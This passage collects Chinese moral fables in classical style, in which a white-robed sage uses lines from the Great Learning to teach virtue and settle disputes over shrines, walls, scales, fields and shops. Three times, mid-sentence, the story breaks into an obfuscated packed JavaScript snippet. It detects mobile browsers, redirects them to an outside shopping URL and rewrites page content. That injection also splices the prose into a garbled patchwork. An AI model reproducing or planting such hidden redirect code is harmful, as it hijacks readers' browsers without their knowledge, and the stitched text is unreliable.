“切磋琢磨者是,瑟僩赫喧者是。” 客不解。适白衣人策马再过,下马与语,童子雀跃:“斐君子来矣!” 白衣人笑抚童首,取木剑划地,现八字: “切磋在学,琢磨在修。 瑟僩在敬,赫喧在德。 斐然成章, 玉汝于成。” 客问:“君子之道,可得闻乎?” 白衣人指竹:“竹之德,即君子之德 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088218|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。切磋如竹之群生,互砺成才;琢磨如竹之节节,精益求精;瑟僩如竹之虚心,谨慎敬畏;赫喧如竹之挺拔,德威自显。四德兼备,斐然成章,故民不能忘。” 又指四匠塾:“彼四子,昔为匠,今为师。传艺授德,是谓‘有斐君子,终不可諠兮’。” 客拜服。是夜,白衣人于竹林置酒,四匠及弟子共聚。酒酣,白衣人击剑而歌: “瞻彼淇澳兮,菉竹猗猗。 有斐君子兮,如切如磋。 切磋道学兮,共进毋私。 如琢如磨兮,自修弗辍。 瑟兮僩兮兮,恂栗敬畏。 赫兮喧兮兮,德威仪辉。 有斐君子兮,终不可諠。 道盛德至兮,民不能忘!” 歌声清越,竹林飒飒,如千百君子和鸣。 尾声斐玉谣 后百年,斐玉邑人才辈出。有游学士子辑《斐玉录》,记四匠事。录成之日,忽有老叟携古琴、古剑、古璧、古碑拓本来访,自言焦氏后人,曰: “先祖遗训:切磋琢磨,非仅治器,终身治德。瑟僩赫喧,非仅仪态,终身修敬。今献遗物,以警后世。” 士子观古琴,铭“瑟僩”;古剑,铭“赫喧”;古璧,铭“切磋”;古碑拓本,题“琢磨”。四物黯然,然德辉犹存。 士子问:“斐玉君子,今在何处?” 老叟指淇澳竹:“竹在,君子在。” 又指心:“心在,君子在。” 是夜,士子梦白衣人抚竹吟诗,醒而题壁: “淇澳竹猗猗, 斐玉君子遗。 切磋与琢磨, 瑟僩兼赫喧。 四德本一心, 一心在自修。 至今竹林风, 犹诵不可諠。” 自此,斐玉童子皆唱《斐玉谣》: “瞻彼淇澳绿竹猗, 有斐君子切复磋。 切磋道学共进步, 琢磨自修莫蹉跎。 瑟兮僩兮要敬畏, 赫兮喧兮德巍峨。 斐然成章君子德, 民不能忘万古歌。” 竹声、谣声、读书声,声声相应。 似在说: 切磋啊,琢磨啊。 瑟僩啊,赫喧啊。 本章诫世 一、 切磋琢磨 - 如切如磋者,道学也;如琢如磨者,自修也 - 破解法:学问需切磋(共进),德性需琢磨(自修) - 示例:陆琨藏私,是不知切磋;郑硕躁弃,是不知琢磨 二、 瑟僩赫喧 - 瑟兮僩兮者,恂栗也;赫兮喧兮者,威仪也 - 惕世:多少人恃才傲物,失瑟僩之敬?多少人仗势凌人,失赫喧之德? - 反思:我可有恂栗之敬?可有德盛之威? 三、 斐玉君子 - 有斐君子,终不可諠兮——道盛德至善,民之不能忘也 - 深层隐喻:君子之德,如竹如玉,切磋琢磨而成,瑟僩赫喧而显 - 终极指向:君子修身,如切如磋,如琢如磨,终成斐然之章,令人不忘 斐玉偈: 斐玉邑中四匠家,切磋琢磨匾高悬。 陆琨藏私忘道学,郑硕躁弃疏自修。 焦桐傲慢失恂栗,薛芒强横缺德威。 白衣指点淇澳竹,四子悟德焕新篇。 切磋共进玉璧合,琢磨恒毅石碑镌。 瑟僩敬畏琴音正,赫喧德盛剑光端。 斐然君子民不忘,至今竹颂猗猗传。 后世叹: 淇澳绿竹猗猗青,斐玉君子德如林。 四匠初时迷本真,切磋琢磨竟虚名。 白衣引经还指竹,切磋道学琢磨心。 瑟僩在敬赫在德,斐然成章万古吟。 正是: 瞻彼淇澳绿竹猗,有斐君子德堪追。 如切如磋在道学,如琢如磨在自修。 瑟兮僩兮恂栗敬,赫兮喧兮威仪辉。 四德兼备成斐玉,民不能忘万古垂。 67. 不忘谳 楔子·三祠讼 沅水之阴有古城曰“不忘邑”,相传为前朝贤王巡幸处。王尝叹“於戏前王不忘”,遂命立“三不忘祠”:一曰“贤贤祠”,祀历代贤臣;二曰“亲亲祠”,祀孝子节妇;三曰“乐乐祠”,祀义士善人。三祠并立,香火鼎盛。 然时移世易,三祠渐荒:贤贤祠中,子孙争产,贤名蒙尘;亲亲祠中,兄弟阋墙,亲情冷淡;乐乐祠中,乡邻斗讼,乐事无存。邑人叹:“三不忘祠,三事皆忘。” 是岁清明,三祠忽发异象:贤贤祠供桌自裂,亲亲祠香炉自倾,乐乐祠匾额自斜。耆老惶惧,聚议重修,然三家后裔互诿,推诿不决。 忽有白衣人乘白马至,斗笠面纱,木剑悬腰,观三祠残破,朗声诵诗: “‘於戏前王不忘!’” 又诵: “君子贤其贤,而亲其亲。小人乐其乐,而利其利。此以没世不忘也。” 诵罢,问众耆老:“前王立三祠,欲使民不忘贤、不忘亲、不忘乐。今三祠荒败,是人忘前王,亦忘本也。” 耆老中有祠正冯贤、族老顾亲、乡绅李乐,皆赧然揖问:“请先生指点。” 白衣人道:“某有一法,可使三祠复兴。请三位各主一祠,随我行一日,见三桩‘不忘’公案。” 一、 贤贤谳 冯贤,贤贤祠祠正,乃前朝贤臣冯道之后。然冯贤不贤,常借祖荫欺压乡里。是日,有寒儒周正,赁冯家旧宅设塾,冯贤嫌其贫,欲逐之。 白衣人引冯贤至贤贤祠,指“贤贤”匾问:“此祠何义?” 冯贤答:“祀贤,使民不忘贤。” “尔祖冯道,以贤名入祀。今尔为贤后,贤否?” 冯贤语塞。白衣人指祠中牌位:“君子贤其贤,谓后人当效法前贤之贤。今尔不效祖贤,反辱祖名,是不贤其贤,是忘本。” 时值清明,有童子入祠拜祭,问冯贤:“先生,何谓贤?” 冯贤不能答。白衣人抚童首:“贤者,德才兼备,泽被后世。如尔祖冯道,乱世守节,护佑百姓,故人祀之。今为贤后,当继祖德,非恃祖名。” 冯贤惭,遂允周正续赁,更捐资助塾。周正开“贤德课”,讲历代贤臣事。冯贤每听一课,惭一分,后竟亲洒扫祠宇,重订祀典。 白衣人谓冯贤:“贤其贤,非但敬古贤,是学贤行贤。尔今助学,是行贤之始。然贤无止境,当终身效之。” 冯贤拜服,于祠中立“效贤碑”,刻“贤其贤者,当效贤行”。自是,贤贤祠复有香火,且多贤行。 二、 亲亲谳 顾亲,亲亲祠族老,乃孝子顾全之后。然顾亲疏亲,兄弟三人争田产,经年不睦。是日,三房聚祠争祭田,竟于祠前殴斗。 白衣人引顾亲至亲亲祠,指“亲亲”匾问:“此祠何义?” 顾亲答:“祀亲,使民不忘亲。” “尔祖顾全,以孝名入祀。今尔为孝后,孝否?” 顾亲赧然。白衣人指祠中孝行图:“君子亲其亲,谓敬爱亲人。今尔兄弟相争,骨肉相残,是不亲其亲,是忘本。” 忽有老妪携稚孙入祠,泣拜孝子牌位:“先祖孝母,今子孙不孝,老身何依?” 顾亲大惭。白衣人道:“亲其亲,非但祀先亲,是爱在世之亲。尔兄弟一母同胞,今为田产相争,可对得起祠中孝子?” 三兄弟皆跪。白衣人取木剑,就祠前地划三线,曰:“此三线为田界,尔等各取一线。” 三兄弟不解。白衣人道:“兄弟如手足,田产如衣物。手足不可断,衣物可再得。今尔等断手足争衣物,愚乎?” 兄弟悟,相拥而泣,遂让田合产,共奉老母。顾亲乃开“亲亲会”,每岁清明,聚族人和睦祠中。 白衣人谓顾亲:“亲其亲,非但血亲,是推己及人。尔今和兄弟,是亲亲之始。然亲无止境,当推及族人、乡人。” 顾亲遂于祠中立“睦亲碑”,刻“亲其亲者,当睦亲族”。自是,亲亲祠复现和乐,且多孝行。 三、 乐乐谳 李乐,乐乐祠乡绅,乃义士李广之后。然李乐不乐,性吝刻薄,乡邻有难不助。是岁春旱,有佃户欠租,李乐夺其耕牛,佃户泣诉于祠前。 白衣人引李乐至乐乐祠,指“乐乐”匾问:“此祠何义?” 李乐答:“祀乐,使民不忘乐。” “尔祖李广,以义乐施入祀。今尔为义后,义否?” 李乐强辩:“租不可欠!” 白衣人指祠中“义行录”:“小人乐其乐,而利其利。谓百姓乐于君子所乐,利君子所利。今尔夺牛绝人生计,狩乐乎?利乎?” 时值祠会,乡民聚观。白衣人问众:“乐乐祠,乐何事?” 众答:“乐善好施,乐义助人。” 白衣人指李乐:“今李公夺牛,是乐善乎?” 众哗然。李乐汗下,白衣人续道:“前王立祠,欲使君子与民同乐。今尔独乐,民不乐,是不乐其乐,是忘本。” 佃户叩头:“牛乃一家生计,求公怜悯!” 李乐愧,还牛免租,更开仓济旱。乡民感戴,乐乐祠香火复盛。 白衣人谓李乐:“乐其乐,非但自乐,是与民同乐。尔今济民,是同乐之始。然乐无止境,当推及乡里。” 李乐遂于祠中立“同乐碑”,刻“乐其乐者,当与民同”。自是,乐乐祠常有义举,且多乐事。 四、 三祠会 三祠复兴,白衣人集众于“不忘台”,此台乃前王所筑,铭“於戏前王不忘”。 白衣人登台,指三祠道:“前王立三祠,非徒祀先人,是教后人:君子贤其贤,而亲其亲;小人乐其乐,而利其利。如此,则前王之道,没世不忘。今三祠复振,可明此理否?” 冯贤曰:“贤其贤,在效贤行。吾祖贤,吾当学贤。” 顾亲曰:“亲其亲,在睦亲族。吾祖孝,吾当尽孝。” 李乐曰:“乐其乐,在与民同。吾祖义,吾当行义。” 白衣人颔首:“善。然三事本一:贤者必亲亲,亲亲者必乐民。譬如三祠,虽分实合。” 遂率众重缮三祠,更于祠间辟“不忘园”,植三木:一曰“贤榆”,二曰“亲桑”,三曰“乐槐”。贤榆叶可入药,惠人疾;亲桑叶可饲蚕,利人衣;乐槐荫可憩息,悦人心。 白衣人曰:“三木成林,喻三德合一。贤其贤,德之基;亲其亲,德之推;乐其乐,德之施。三德备,前王之道不忘矣。” 是夜,白衣人于园中置酒,三老及乡民共聚。酒酣,白衣人击剑而歌: “於戏前王不忘兮, 立祠三座教烝民。 贤其贤兮效贤行, 亲其亲兮睦亲族。 乐其乐兮同民乐, 三德兼备道乃存。 没世不忘在力行, 千秋万代仰清芬!” 歌声慷慨,三木飒飒,如前王叹息,又如万民和鸣。 五、 不忘谣 十年后,不忘邑成仁义之乡。贤贤祠出贤士,亲亲祠出孝子,乐乐祠出义人。有游学士子过邑,问童子:“前王不忘,不忘何事?” 童子指三祠:“不忘贤,不忘亲,不忘乐。” “如何不忘?” “贤其贤,亲其亲,乐其乐。” 士子不解,适白衣人策马再过,下马与语。童子雀跃:“不忘先生来矣!” 白衣人笑,取木剑于不忘台刻铭: “贤其贤者,当效其贤。 亲其亲者,当睦其亲。 乐其乐者,当同其乐。 三者力行, 前王不忘。” 士子问:“贤、亲、乐,敦重?” 白衣人曰:“贤为本。不贤,则亲不睦、乐不公。然贤非虚名,在亲亲、在乐民。昔前王贤,故亲亲而乐民。今人但祀前王,不效其行,是忘也。” 又指三木:“贤榆惠人,是贤其贤;亲桑利人,是亲其亲;乐槐悦人,是乐其乐。三木同根,三德同源。” 士子拜服。是夜,白衣人于三祠前说古,乡民围听。说至前王巡幸,见老者拾穗,王问:“老丈何拾穗?” 老者答:“遗穗可惜,拾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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君子贤其贤——当效法前贤之贤行 - 破解法:见贤思齐,见不贤内自省 - 示例:冯贤初恃祖名,后效祖德,是贤其贤 二、 亲其亲 - 君子亲其亲——当敬爱亲人,和睦家族 - 惕世:多少人对外人恭,对亲人苛?多少人争产夺利,骨肉相残? - 反思:我于亲人,可尽亲爱?可曾因利伤情? 三、 乐其乐 - 小人乐其乐,而利其利——君子与民同乐,民自乐君子之乐 - 深层隐喻:独乐乐不如众乐乐。君子之乐,在使民乐 - 终极指向:前王不忘,在民不忘。君子贤其贤、亲其亲、乐其乐,则民德归厚,没世不忘 不忘偈: 不忘邑中三祠荒,贤亲乐事俱凋伤。 冯贤恃祖辱贤名,顾亲争产戕亲肠。 李乐吝刻失乐义,三祠蒙尘祀不彰。 白衣指说前王训,三子幡然改前行。 贤其贤兮效贤德,亲其亲兮睦族邦。 乐其乐兮同民乐,三德复振邑重光。 至今不忘园中木,岁岁花开散德芳。 后世叹: 前王立祠教不忘,贤亲乐事是三纲。 后人但祀不效行,三祠蒙尘匾额荒。 白衣引经还指迷,贤贤亲亲乐乐彰。 寄语世间忘本客,三德力行是彝常。 正是: 於戏前王不能忘,立祠三座教伦常。 君子贤其贤而贤,君子亲其亲而亲。 小人乐其乐而利,此以没世不忘君。 不忘邑里三祠讼,白衣指点三德张。 贤贤亲亲乐乐备,前王之道万古扬。 68. 无讼谳 楔子·讼藤案 沔水之阳有山城名“知本邑”,邑有古榕,藤蔓纠结,状如讼状。邑人谓“讼藤”,相传有讼事则藤生,讼息则藤枯。百年间,此藤生灭数十次,邑人视为吉凶之兆。 是年,讼藤忽发,蜿蜒十丈,覆满县衙照壁。邑中讼事蜂起:东街王、李二户争一堵墙,西市赵、钱二商争一只秤,南村孙、周二农争一垄田,北巷冯、陈二匠争一爿铺。县令吴讼累日升堂,案牍如山,竟至病倒。 师爷献计:“可聘‘神断先生’听讼。” 忽有白衣人策马入城,斗笠面纱,木剑悬腰,驻马观讼藤,朗声诵道: “听讼,吾犹人也。必也,使无讼乎?” 诵罢,指藤叹:“藤生因讼起,欲藤枯,当使讼息。讼息之道,在知本也。” 恰县令舆过,闻之急停,揖问:“先生有何妙策?” 白衣人道:“某有一法,可使讼藤自枯。请邀四讼主事,随某行一日,观四桩‘无讼’公案。” 一、 墙讼谳(东街) 东街王厚、李实,比邻而居。王家筑墙,侵李家三寸。李实理论,王厚叱:“吾墙在吾地,干卿何事?”遂讼于官。县令量地,果侵三寸,判王厚拆墙。王厚不服,扬言“宁死不让”。 白衣人引二人至讼藤下,问:“此藤何来?” 王厚愤:“因讼而生!” “讼因何起?” “因墙!” 白衣人指藤根:“藤根在土,讼根在心。尔等争三寸墙,是争地,是争气?” 王厚语塞。白衣人取木剑,就地上划一线:“此线为界,各退一寸半,余出一寸作公巷,可好?” 李实曰:“吾本不争,奈彼欺人!” 王厚嚷:“吾祖业岂可让!” 白衣人忽问:“尔等可知,此墙所用之砖,烧自何土?” 二人怔。白衣人指西山:“烧砖之土,取自西山。西山为公山,土属全邑。今尔等争三寸墙,是争全邑之土乎?” 又指讼藤:“此藤百年,缠死古树七株。每株皆因争地而枯。今尔等欲为第八株否?” 二人汗下。白衣人取砖一块,击碎,中现陶片,有字“嘉靖三年公墙”。二人惊。 白衣人道:“此墙本是公墙,后被私占。今尔等争私墙,是忘其本。不如复为公墙,利行人往来,岂不善哉?” 王、李惭,遂让墙为公巷,行人称便。是夜,讼藤东枝枯。 二、 秤讼谳(西市) 西市赵丰、钱满,皆开粮铺。赵丰疑钱满秤短,暗较之,果短一钱。讼于官,县令验秤,确短。然钱满反诉赵丰秤砣有假。两铺相争,客商裹足。 白衣人引二人至墟市,问:“秤以何为凭?” 赵丰曰:“以星为准。” 钱满曰:“以砣为衡。” 白衣人取市曹公秤,较二人之秤,皆不准。二人愕然。 白衣人道:“秤之准,在公心。尔等但较他人,不自较己,是心秤先偏。心偏则秤偏,秤偏则市乱。” 又指墟中饥民:“今岁欠收,民有菜色。尔等为粮商,不忧民饥,但争一钱之利,可愧乎?” 二人赧然。白衣人取二人秤,折为薪,以公秤赠之:“以此为准,价平斗满,可乎?” 赵丰曰:“然彼短秤诈人…” 钱满急辩:“吾非诈,是秤工做差…” 白衣人止之:“无情者,不得尽其辞。短秤是实,辩乃虚辞。今不究诈,但求改。尔等可愿立‘公秤盟’,共保市平?” 二人应诺。遂设“公秤亭”于市,凡交易,皆以公秤为准。粮价平,饥民得济。是夜,讼藤西枝枯。 三、 田讼谳(南村) 南村孙勤、周俭,田垄相连。孙家田高,周家田低。孙勤开沟排水,淹周家秧苗。周俭堵沟,孙家田涝。二人殴斗,讼至县衙。 白衣人引二人至田头,时值暴雨初歇,沟水横流。白衣人问:“水之性,就下乎?就高乎?” 孙勤曰:“就下。” “然则高田之水,当往何处?” “往低田。” “低田受水,当如何?” 周俭曰:“当疏不当堵。” 白衣人颔首:“水有水性,人有仁性。水就下,是顺势;仁推己,是恕道。今孙公开沟,是顺水性,然未顾邻田;周公堵沟,是卫己田,然逆水性。皆未推己及人。” 遂教以“均水法”:高田开浅沟缓排,低田掘小塘蓄水。更于两田间植芦苇,固土分水。二人从之,田皆得润。 白衣人谓二人:“农以和为贵。雨露同霑,水□□利。今尔等和,非独利己,亦利乡邻。若争讼不止,田荒人散,孰得孰失?” 二人拜服。是夜,讼藤南枝枯。 四、 铺讼谳(北巷) 北巷冯诚、陈信,同开铁匠铺,对门而市。冯家制镰利,陈家制锄牢。二人互妒,冯诚散谣“陈锄易折”,陈信传语“冯镰卷刃”。客疑,两铺生意皆落。 白衣人引二人至铺前,问:“匠以何为重?” 冯诚曰:“以技为重。” 陈信曰:“以质为重。” “技与质,孰本孰末?” 二人语塞。白衣人道:“匠之本,在信。信失,则技伪质劣。今尔等互毁,是自毁信。信毁,客不至,铺将倾。” 取冯家镰、陈家锄,叠而击之,镰锄皆无损。二人惊。 白衣人道:“镰宜割,锄宜掘,各有所长。尔等不合则两伤,合则两利。何不合铺共营,冯专镰,陈专锄,统一定价,货真价实?” 二人疑:“然利如何分?” “利以信分。”白衣人书契,“以年利为准,镰六锄四,因镰耗铁多。然遇荒年,利均分。可乎?” 二人从之,合铺名“信诚坊”,镰锄并售,生意兴隆。白衣人曰:“无情者,不得尽其辞。尔等互毁时,言皆虚辞。今以实合,虚辞自息。” 是夜,讼藤北枝枯。 五、 知本会 四讼俱解,讼藤唯余主干未枯。县令吴讼病愈,邀白衣人及四家主事,会于县衙。 白衣人指藤道:“藤有四枝,喻四讼。今四枝枯,主干犹存,是因邑中尚有讼根。讼根在人心不知本。” 吴讼问:“本在何处?” “在明德,在亲民,在至善。”白衣人朗声,“子曰:‘听讼,吾犹人也。必也,使无讼乎?’听讼之能,人皆可有;使无讼之德,在知本。无情者不得尽其辞,大畏民志——使民内心畏服,不敢虚辞,方是知本。” 遂率众至城隍庙,立“知本碑”,刻孔子此言,并附四讼事略。碑阴题: “墙讼之本,在睦邻; 秤讼之本,在公平; 田讼之本,在恕道; 铺讼之本,在信诚。 四本归一, 曰仁而已。 仁行,则无讼; 无讼,则藤枯。” 碑成,讼藤主干果枯,叶落藤萎,三日尽槁。邑人奇之,白衣人道:“非藤有灵,是人心转。人心和,讼事息;讼事息,阴气消,故藤枯。此自然之理也。” 吴讼拜问:“然则日后再生讼事,何以化之?” 白衣人道:“设‘劝和堂’,择邑中贤老主之。凡有争,先至劝和堂,以情解,以理化。理不通,再讼于官。如此,十讼可化其九。” 又教“三和法”:一对讼者共劳(如共修公墙),二对讼者共利(如合营商铺),三对讼者共济(如共赈灾民)。吴讼从之,知本邑渐成“无讼乡”。 六、 无讼谣 三年后,知本邑讼事绝迹。劝和堂悬“无讼匾”,堂前植和合树,树结连理枝。有外邑讼师来,叹:“此地无讼,吾何以谋食?” 邑童笑:“先生可改学劝和。” 讼师惭。适白衣人过,讼师揖问:“先生何以使民无讼?” 白衣人答:“非吾使,是民自化。民知本,则耻讼;民知耻,则兴让。让则和,和则无讼。” 又指和合树:“此树昔为讼藤所缠,几枯。今讼藤枯,树 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088220|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 复荣,且结连理。可知讼为戾气,和为生气。戾气消,生气长,自然之理也。” 讼师问:“若遇顽民必讼,何以处之?” “顽民之讼,多在争利。可示以‘共利法’:如争财,则劝共营;争产,则劝共管;争名,则劝共美。使其知合则两利,斗则两伤。大畏民志,非畏刑罚,是畏失和失利。” 讼师拜服,留邑学劝和,后成“和事先生”。 白衣人将行,邑民送于城郊。吴讼赠“无讼图”,绘四讼和解事。白衣人展图,题诗: “听讼犹人何足奇, 无讼方是圣人期。 墙睦秤平田恕道, 铺诚皆是本根基。 无情虚辞民志畏, 知本在仁不可移。 寄语他乡听讼者, 莫将刀笔记讼辞。” 题罢,策马而去。木剑遗于道旁,化棠棣一株,花如白雪,实如赤心。 尾声棠棣风 又十年,知本邑名播四方。邻邑有讼,常引“知本四案”为训。有县令仿设劝和堂,然效者寥寥。问其故,邑老答:“彼但设堂,不化心。心不知本,堂虚设耳。” 是岁,知本邑大疫,吴讼已老,率民共济。有患者疑医者用药不公,欲讼。吴讼引至劝和堂,示“无讼图”,道:“昔争墙、争秤、争田、争铺,皆化于和。今疫病当前,不思共济,反起内讼,是忘本也。” 患者惭。吴讼又曰:“无情者,不得尽其辞。尔疑医,可有实据?无实据而讼,是虚辞。虚辞伤和,和伤则疫难退。” 遂令医患同室,医示药方,患观其治。三日,患愈,拜谢医者。疫中,全邑无讼,协力抗灾,疫竟早退。 白衣人偶过,见棠棣花开如雪,树下童子嬉戏,歌《无讼谣》: “听讼犹人不足夸, 无讼才是君子家。 墙要睦,秤要平, 田要恕,铺要诚。 无情虚辞不可有, 知本在仁莫争差。 劝和堂前棠棣开, 无讼乡里乐无涯。” 白衣人莞尔,问童:“尔等可知,何以无讼?” 童答:“爷爷说,让人一步,天宽地阔;争人一寸,地窄天窄。” “让,本乎?” “本乎仁。仁者爱人,爱人者不争。” 白衣人拊掌。时值夕照,棠棣花影,映满劝和堂壁,如天然“无讼图”。 本章诫世 一、 无讼为要 - 听讼,吾犹人也。必也,使无讼乎? - 破解法:遇争讼,先思何以化讼,非何以胜讼 - 示例:四讼皆以“和、平、恕、诚”化解,是知本 二、 无情虚辞 - 无情者,不得尽其辞——无实情者,不得逞其虚辩 - 惕世:多少人以虚辞争讼?多少讼事起于猜忌,而非实情? - 反思:我可有“无情虚辞”?可曾以疑生讼? 三、 大畏民志 - 大畏民志——使民心敬畏,不敢轻讼 - 深层隐喻:畏不在刑,在耻;耻不在败,在失和 - 终极指向:知本在仁。仁行则和,和则无讼,无讼则民安 无讼偈: 知本邑中讼藤生,四案纷纭县令惊。 白衣引说无讼道,墙睦秤平田恕诚。 无情虚辞民志畏,知本在仁化顽氓。 劝和堂前棠棣发,至今犹唱无讼声。 后世叹: 孔子听讼犹常人,必使无讼圣心彰。 知本邑里讼藤蔓,四案纠缠公堂忙。 白衣指破讼之本,在仁在让非在强。 寄语世间理讼者,莫将刀笔记雌黄。 正是: 听讼犹人何足奇,无讼方是圣贤期。 无情虚辞民志畏,知本在仁不可移。 墙睦秤平田恕道,铺诚四案是根基。 劝和堂前棠棣茂,无讼乡里颂雍熙。 69. 格竹谳 楔子·四子疑 湘中深谷有隐世之地,名曰“格物庄”。庄中多奇物:昼开夜合之花,夏生冬实之果,东暖西凉之泉,南鸣北默之石。庄主程理,乃前朝大儒之后,设“四疑轩”,聚子弟穷究物理。轩悬古训:“致知在格物”。 然庄中学风渐偏:有长子程玄,终日观花,谓“花中有道”,实则耽于花色;次子程默,终日听泉,谓“泉中有理”,实则溺于泉声;三子程辩,终日叩石,谓“石中有妙”,实则迷于石纹;四子程惑,终日尝果,谓“果中有真”,实则贪于果味。四人各执一物,争论不休,竟至动手。 是日,四子于轩中激辩。程玄执花掷地:“汝等聋瞽,不见花色有阴阳?”程默泼泉溅壁:“汝等愚钝,不闻泉声含宫商?”程辩敲石震案:“汝等肤浅,不识石纹藏经纬?”程惑掷果扬汁:“汝等庸俗,不知果味蕴五行?” 正喧嚷间,忽闻天外清吟: “人心之灵莫不有知, 天下之物莫不有理。 惟于理有未穷, 故其知有不尽。” 声如金玉。四子惊顾,但见一人踏竹梢而来——头戴素纱帷笠,垂纱及肩,面覆轻绢,只露双眸如寒潭映月;身著月白苎麻深衣,广袖迎风,腰束玄色丝绦,悬一柄无鞘木剑,剑身纹理天然,似未斫之材;足踏芒屦,不染尘泥。身形修颀,似青竹临风,风动时衣袂与竹叶同舞,竟分不清是人是竹,是男是女。 来人飘然落地,无声无息,帷笠轻纱微漾,木剑纹丝不动。 程理急出迎:“先生何人?” 来人声清越,亦不辨雌雄:“某游四方,闻庄中格物之风,特来观瞻。”指四子,“此四子格物乎?抑戏物乎?” 四子赧然。来人踱至“致知在格物”匾下,仰观片刻,忽道:“格物之要,在即物穷理。今四子各执一物,见色、听声、观纹、尝味,可谓即物,然穷理否?” 程玄不服:“吾观花三年,知花有开合,合为阴,开为阳,岂非穷理?” 来人轻笑,折轩前竹枝:“竹有节,竹心虚。节可比理之次第,虚可比心之澄明。尔等格物,可有次第?可存虚心?” 又指四子手中物:“花、泉、石、果,皆物也。物有表里精粗,理有浅深本末。今尔等但见表、得粗,便谓得理,是犹以蠡测海。” 程理拜问:“请先生教以真格物之法。” 来人曰:“某有四桩格物公案,可请四子分观。观毕,再论格物。” 一、 格花谳(程玄) 庄东有“朝颜花”,晨开午谢。程玄观之三年,但记“花色随光变,晨粉午紫”。 来人引程玄至花圃,时值拂晓,花苞未放。问:“花为何晨开?” 程玄答:“感日光而开。” “为何午谢?” “畏烈日而谢。” 来人摇首,取竹筒覆花苞,又以素纱罩数丛。日上三竿,筒中花苞竟开,纱下花朵不谢。程玄惊。 “花之开谢,非关日光,关乎温湿。”来人指竹筒,“筒中温高,故开;纱下湿润,故不谢。尔观三年,只记花色,不测温湿,是格其表未格其里。” 又取水浇花根,花忽午时复开。程玄大愕。 “物有本末,事有终始。花,末也;根,本也。尔格花不格根,是舍本逐末。”来人以竹枝画地,现“格物当穷其本”六字。 程玄汗下,问:“何以穷本?” “即物而穷其理。譬如格花,当知花之种、根、茎、叶、蕊、实,知土、水、光、温、时、气。知其然,更知其所以然。今尔但知其开谢,不知何以开谢,是知有不尽。” 程玄拜服,遂焚旧记,重立“格花簿”,自土性始录。三月后,悟得“朝颜花期可延”,庄人效之,花果倍增。 二、 格泉谳(程默) 庄西有“阴阳泉”,一温一凉。程默听泉三载,但记“泉声随季变,春柔冬涩”。 来人引程默至泉畔,两泉相距十步,一泉冒热气,一泉浮寒烟。问:“泉为何一温一凉?” 程默答:“地脉不同。” “地脉何以不同?” “此…未穷。” 来人取竹杯,分舀两泉水,置石上。又以竹管连通两泉,三日后再观,两泉温差减半。程默奇。 “泉之温凉,非关地脉,关乎水脉深浅。”来人指竹管,“深泉近地火,故温;浅泉近地表,故凉。今以管通,水脉交融,温凉遂和。尔听三载,只辨声涩,不究水脉,是格其声未格其源。” 又掘泉周泥土,见温泉下多赤石,凉泉下多青石。程默恍然。 “物有其理,理有其由。泉声,表也;水脉,里也。尔格泉不格脉,是得粗未得精。”来人以竹枝画地,现“格物当究其源”六字。 程默惭,遂弃旧说,重勘水脉,绘“泉脉图”。半年后,导温泉溉寒田,庄中竟可冬种春蔬。 三、 格石谳(程辩) 庄南有“经纬石”,石纹纵横如棋枰。程辩叩石三秋,但记“石纹随敲异,轻叩成纬,重叩成经”。 来人引程辩至石前,石大如屋,纹路俨然。问:“石纹何以纵横?” 程辩答:“天地造化。” “造化何以成此纹?” “此…未达。” 来人取竹槌,轻叩石之东,纹路南移;重叩石之西,纹路北动。又以温水泼石,纹竟模糊;再以凉水激之,纹复清晰。程辩惑。 “石之纹,非天生,乃水蚀风磨而成。”来人指石上水痕,“此石昔在河底,水波荡而成纬;后出地表,风吹而成经。尔叩三秋,只观纹变,不考成因,是格其形未格其成。” 又凿石取芯,见石层叠压,如千层饼。程辩顿悟。 “物有表里,理有精粗。石纹,表也;石层,里也。尔格石不格层,是见粗未见精。”来人以竹枝画地,现“格物当探其成”六字。 程辩服,遂碎旧石,遍察庄周山岩,作“石成因谱”。一年后,依石理开渠,水患大减。 四、 格果谳(程惑) 庄北有“四季树”,一树结四时之实。程惑尝果三夏,但记“果味随时异,春酸夏甘秋苦冬辛”。 来人引程惑至树下,果树参天,果杂四色。问:“果味何以四时不同?” 程惑答:“四时之气不同。” “气何以异?” “此…未知。” 来人取竹篮,分摘四时果,剖之。又以竹签标记各枝日照。旬日后,见向阳枝果甘,背阴枝果酸;迎风枝果辛,避风枝果苦。程惑疑。 “果之味,非关节气,关乎水土、光照、风向。”来人指竹签,“同一树,枝位不同,果味则异。尔尝三夏,只辨味差,不察枝位,是格其味未格其因。” 又掘树根,见根须四向,各吸不同土质。程惑骇然。 “物有其理,理有其极。果味,末也;树体,本也。尔格果不格树,是知末未知本。”来人以竹枝画地,现“格物当极其本”六字。 程惑悟,遂弃旧录,详察树之根、干、枝、叶、花、实,著“果树本末谱”。二年后,依谱育果,四季树竟结八味之实。 五、 豁然会 四子各有所悟,聚于“四疑轩”。来人指轩中“致知在格物”匾,问:“今可知格物真义?” 